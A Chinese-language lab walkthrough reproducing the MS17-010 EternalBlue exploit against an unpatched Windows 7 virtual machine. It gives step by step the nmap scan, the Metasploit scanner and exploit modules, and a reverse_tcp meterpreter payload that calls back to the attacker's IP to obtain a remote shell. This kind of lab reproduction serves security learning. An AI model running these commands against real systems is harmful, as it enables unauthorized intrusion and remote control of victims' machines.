本文中使用的软件在最后会贴出下载链接。
0x00 复现准备
1.攻击机:Kali Linux操作系统,可以使用MSF。
2.靶机:Windows 7操作系统(没有打过MS17-010补丁),开启了445端口。
3.虚拟机:本次复现使用的是VMware虚拟机,攻击机和靶机均安装在虚拟机上。
4.复现前要确保攻击机和靶机互相能够ping通,即二者处于同一网段。
0x01 检测靶机是否开启445端口
攻击机IP:192.168.1.137
靶机IP:192.168.1.128
永恒之蓝是利用靶机的445端口进行攻击的,所以实施永恒之蓝的前提就是靶机开启了445端口。探测端口的软件有很多,这里使用Nmap进行端口探测。
命令:nmap -sS -Pn -A 192.168.1.128
-sS:执行一次隐秘的TCP Syn扫描
-Pn:不要使用ping命令预先判断主机的TCP端口是否开放,默认所有主机都是存活状态。
-A:启用操作系统检测(-O) 和版本扫描(-sV)
从扫描结果中可以看到,靶机开启了445端口。
0x02 使用Metasploit进行攻击
1.打开Metasploit,这里使用msfconsole终端
命令:msfconsole
2.查找相应的模块
命令:search ms17-010
msf5 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RCE Detection
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
给了我们5个模块,这次复现用到两个模块,1模块auxiliary/scanner/smb/smb_ms17_010
和2模块exploit/windows/smb/ms17_010_eternalblue
(编号是从0开始的,模块不要搞错)。
auxiliary/scanner/smb/smb_ms17_010
模块是用来检测目标是否存在永恒之蓝漏洞的;exploit/windows/smb/ms17_010_eternalblue
模块是用来对目标进行攻击的。
3.检测目标是否存在永恒之蓝漏洞
命令:
使用模块:use auxiliary/scanner/smb/smb_ms17_010
设置目标:set RHOST 192.168.1.128
开始检测:run
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOST 192.168.1.128
RHOST => 192.168.1.128
msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOST 192.168.1.128
[+] 192.168.1.128:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7600 x64 (64-bit)
[*] 192.168.1.128:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
可以看到目标存在漏洞。
4.开始攻击
命令:
使用模块:use exploit/windows/smb/ms17_010_eternalblue
展示payload:show payloads
这里使用的payload是windows/x64/meterpreter/reverse_tcp
命令:
设置目标:set RHOST 192.168.1.128
设置payload:set payload windows/x64/meterpreter/reverse_tcp
设置本机IP:set LHOST 192.168.1.137
开始攻击:run
可以看到攻击成功了。
输入sysinfo可以查看目标系统信息,如果想进入目标命令行,可以输入shell。
这里是在目标c盘下写一个flag.txt文件:
0x03 后渗透攻击
到目前已经拿到目标的shell了,下面就是提权、横向移动了。这里练习得不太多就先不写了,等我研究研究在后面的文章里会写。
参考链接:
1.Metasploit利用MS17-010漏洞
2.永恒之蓝 MS17-010漏洞复现